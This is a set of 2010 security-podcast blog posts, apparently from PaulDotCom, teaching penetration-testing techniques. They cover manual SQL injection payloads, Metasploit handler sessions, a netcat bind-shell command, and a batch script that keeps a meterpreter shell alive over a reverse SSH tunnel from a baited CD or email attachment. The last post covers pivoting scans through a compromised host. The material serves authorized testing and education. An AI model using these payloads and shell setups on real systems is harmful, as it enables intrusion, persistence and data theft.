By Paul Asadoorian on December 9, 2010 9:37 AM
Watch live as the PaulDotCom crew drinks beer, smokes cigars, and wait, there's one more thing we need to do, its coming to me, oh yea talk about security! Special guest this week is Dan King, returning to talk about the latest security news, hacking, and mud wresting techniques.
Paul Joyal, owner and operator of Mr J's Havana Smoke Shop, will join us again to talk about holiday special release cigars and great cigar gifts.
Each episode comes complete with show notes, detailing the interviews, tech segments, and stories presented. You can visit Episode 223 Show Notes Page on our Wiki.
During the broadcast you can watch the action live! For live video, audio, and chat during each episode you can visit PaulDotCom Live!, just hang out in our IRC channel, or tune into PaulDotCom Radio for an audio only version of the show.
By Mark Baggett on September 27, 2010 6:10 PM
I was blind, but now I see!
Last week I released a tool that extracts data from a database using Blind SQL Injection techniques. The tool asks a series of TRUE of FALSE questions. Many people are under the impression that this TRUE or FALSE questioning technique is the only way to extract data from a site that has a "Blind" SQL injection vulnerability. As you have probably guessed, that is not correct. You can extract and visually see all the data in a database when exploiting most Blind SQL Injection vulnerabilities.
It is very rare to find an application that queries the database and doesn't display any of the returned data to the user. Im sure they exist, but for the most part when applications execute queries based upon some type of user input, at least some small portion of that data is returned to the user. If only one field is returned to the user you can use that field to display all of the records in the entire database with manual sql injection. Manual SQL data extraction is something every good pen-tester should know how to do. Eventually your automated tools will fail and when they do, knowing how to manually extract the data will come in handy. Here are some basic steps that I use to manually extract data with SQL injection:
1) Determine if your injection point is a numeric field or a string field.
First, I usually check for numeric fields by trying to do some simple math at the injection point. For example, I'll submit "recordid=3+1" and see if it returns record number 4. If it returns record 4 then I have a numeric injection point. If you are injecting on the URL the plus sign (+) is a url encoded space. On the url you would submit "recordid=3%2b1". %2b is an encoded plus sign.
If math doesn't work I try injecting a single quote (') to see if you have a string injection point. For example, I will try to injection ' or 'true'='true to see if I get a large number of records or a different record back. If the record set returned changes, then I probably have an injection.
2) Eliminate all the data being returned by the original select statement.
This is easy. Injection "AND FALSE" eliminates all the result to the original select statement. So and 1=0 on a numeric field or ' and 'true'='false on a string field does the job.
3) Determine how many fields were returned by the original select statement with a union.
When you inject a UNION SELECT your second select statement must request the same number of columns as the FIRST select statement (the one your injecting into). To determine how many fields are in the first select, you start with one field and you keep increasing the number of fields until you get a result. So inject and 1=0 union select 1. If a "1" is returned to the screen somewhere you have a match. If no,t try two fields and 1=0 union select 1,2. If a 1 or a 2 are returned to the screen you have a match if not try three fields, and so one until you have a match.
4) Now start using the fields that are displayed to extract data.
Each of the number displayed on the screen can be replaced with a SUBSELECT (a select statement in parenthesis) to retrieve what ever data you want. The one limitation is that each item returned needs to be a single text value. MySQL functions like "CONCAT()" which combines multiple strings into a single string and "GROUP_CONCAT()" which combines the ROWS in the database into a single text string can be used to extract entire databases into a single text blob. Various SQL Injection cheat sheets are available that show you how to examine the schema to figure out your table structure and understand how to extract the data.
The best way to learn is to practice. DVWA (Damb Vulnerable Web App) 1.7 is out and they have added a "Blind SQL Injection" portion to their wonderful tool. Here is a demo of using these techniques on their Blinds SQL Injection Vulnerability.
By Mark Baggett on August 14, 2010 5:06 PM
Back in Episode 170 Larry talked about talked about Reconnoiter. Reconnoiter was written by Jason Wood and it builds username list based upon linkedin.com profiles. After using the script on a recent penetration test I thought it would be nice if I also had a custom dictionary like those created by CeWL for each user at the company. So I wrote a script to create them and decided to share it with our listeners.
The intended use of userpass.py is to generate a customized password dictionary for every employee at a target company. You give it the name of your target company and it will give you a separate password file for each user at the company. In the demoes I target individuals rather than companies, but you get the idea.
We cover userpass.py on episode 206. So download it and give it a go. If you want to try it out, but you down have CeWL installed yet just add '-p "echo" ' to the end of your options.
People have been asking me to show some basic metasploit and how you use it. I recently did a security show for the Michigan ISSA folks where we showed everyone how to use it. So I figured I would re-hash that as well as build on it to give you a good feel for what you can do. So I created a video (see below) and in the video I show you how to own a box, as well as different commands you can use and how they work. We will use the aurora exploit, with (and without) the meterpreter, keylogging, victim enumeration, timestomp (to mess with a forensic timeline), backdoors, and more!
By Mark Baggett on April 25, 2010 5:00 PM
Metasploit has A LOT of exploits, but from time to time you will very likely need to use exploits that are not part of the framework. Whether it is an exploit from www.exploit-db.com that spawns a shell or a netcat listener you can still use the framework to control the host. As long as you have a shell bound to a TCP port you can use metasploit to interact with that victim. What's more, you can upgrade that shell to a meterpreter session so you can benefit from the full power of the framework.
First, to connect to a shell bound to TCP port you will need to use the payload SHELL_BIND_TCP. This payload is significantly different from SHELL/BIND_TCP because it is a SINGLE payload rather than a STAGED payload. A staged payload is a small piece of code that allocates memory, opens network ports to communicate with the framework, downloads the remainder of the payload, then executes the rest of the payload. A staged payload is very small so it can easily fit in small buffers. It's size and limited functionality also give antivirus vendors very little to look at. SINGLE payloads on the other hand contain everything they need to execute on the victim. So, "nc -l -p 4444 -e cmd.exe" is functionally equivalent to SHELL_BIND_TCP.
To interact with a netcat listener all you need is the Multi/Handler exploit and the SINGLE_BIND_TCP payload. For example:
msf > set color false
color => false
msf > use multi/handler
msf exploit(handler) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(handler) > set RHOST 192.168.100.17
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.100.6:56131 -> 192.168.100.17:4444)
[*] Session 1 created in the background.
But, to take full advantage of the framework I want to use meterpreter. The framework can automatically take any command session and add a "METERPRETER/REVERSE_TCP" session to the host with the "SESSIONS -U" command. To use the option you will need to use "SETG" to set the LHOST and LPORT variables to point back to your host. Then use "sessions -u" to upgrade a session to meterpreter. The upgrade will leave the existing shell session in place and add a new meterpreter session. For example:
By Mark Baggett on April 10, 2010 1:46 PM
SSH is great! However, relying on password based authentication where the end user must decide whether or not to trust a new server crypto fingerprint can leave you open to attack. John Strand has put together an excellent video demonstrating how attackers can capture your SSH V1 and V2 passwords.
How do you fix this? Well, you can teach your users not to accept untrusted keys. Good luck with that. If you do that and it works, please contact me. I want to be your friend. Mere mortals should consider moving to something stronger than simple password based authentication. OpenSSH supports s/key one time passwords, RSA type authentication AND Kerberos!
By Mark Baggett on March 30, 2010 6:56 PM
By Mark Baggett
this post I'll show you how to make a resilient meterpreter session
that is tunneled over SSH back to your penetration testing machine.
Resilient in that it will monitor the tools running needed to
give me access and relaunch them if needed. This is NOT the same as a
persistent backdoor that survives a reboot and is typically not part
of a penetration test. But it is resilient, so if I kill the
processes accidentally, they will relaunch themselves. This also isn't stealth although it could be made to be. It is visible to the end user.
lets get a few things out of they way. WHY tunnel Meterpreter over
SSH? My intention is not to avoid IDS, but it will help achieve that.
Meterpreter avoids IDS just fine on its own although I think it may
still be possible to detect meterpreter before it is fully loaded and
secured with TLS. But, if your trying to avoid IDS then tunneling over SSH isn't likely to hurt. Using SSH also allows me to add some authentication back to
my host rather than just firewall rules on my Meterpreter console. Because
I'm loading my servers SSH key on the client I am authenticating that
the client is connecting to MY server. Of course this is easily
manually bypassed, but my automated script will not connect if the
server key does not match. Therefore I can say with confidence that
the CD I leave in the parking lot will only connect that client back
to my machine based. I've also verified that the meterpreter session
coming in knows my ssh servers username and password.
advantage (that is not without risk) is that this configuration will
allow you to do some name resolution for your tunnel. So if my
pen-test machine is on an EVDO or other dynamic IP and it changes I
can just update the DNS record and not the client tool. That is kind
small talk, lets build a package containing a resilient meterpreter client that we can send into penetration testing clients environment on a USB or CDROM.
connect to your SSH server once and export the registry key
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys. These are
the keys you will need to import on the client so that PLINK can
connect to your server without the SSH Fingerprint prompt. In this case I exported that key and called it "storedSSHkey.reg"
I create a .BAT or .CMD file with the following commands in it.
regedit /s storedSSHkey.reg
for /L %%i in (1,0,2) do (wmic process WHERE name="metbind9999.exe" get name | find "metbind9999" && echo "meterpreter is running" || start metbind9999.exe) & ( wmic process WHERE name="plink.exe" get name | find "plink" && echo "plink running" || (start plink -R 9999:127.0.0.1:9999 -pw sshpass firstname.lastname@example.org)) & ping -n 5 127.0.0.1
command script will first IMPORT the SSH key of our server into
the registry of the clients machine so that when PLINK runs to
connect back to our testing machine the SSH Fingerprint has already
been accepted and the script will not pause indefinitely. In doing
so, the client has validated the server its sending the shell to.
we start our FOR loop which resiliently relaunches the meterpreter
process and the PLINK process if they die for some reason.
is really all you need, but since we are going to build all the pieces anyway I like to
include some other tools that I want to stage on the clients
machine such as NCAT and a few others. Make sure your
penetration testing agreement permits the installation of such tools.
I package all those tools up together along with the PROCMON.CMD file using iexpress. (be sure to enable long name support or you'll need to rename all the files in the package to 8.3 format) The the package is ready to send to a penetration testing client. Here is a video demonstrating the
creation of the package and some process resiliency testing.
the client has opened the package you will have a connection waiting
for you on the port you have designated on your SSH server. In the
example above it is listening on port 9999 on my SSH server. Then you
can use the multi/handler to connect and use it.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(handler) > set LPORT 9999
LPORT => 9999
msf exploit(handler) > exploit
Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows: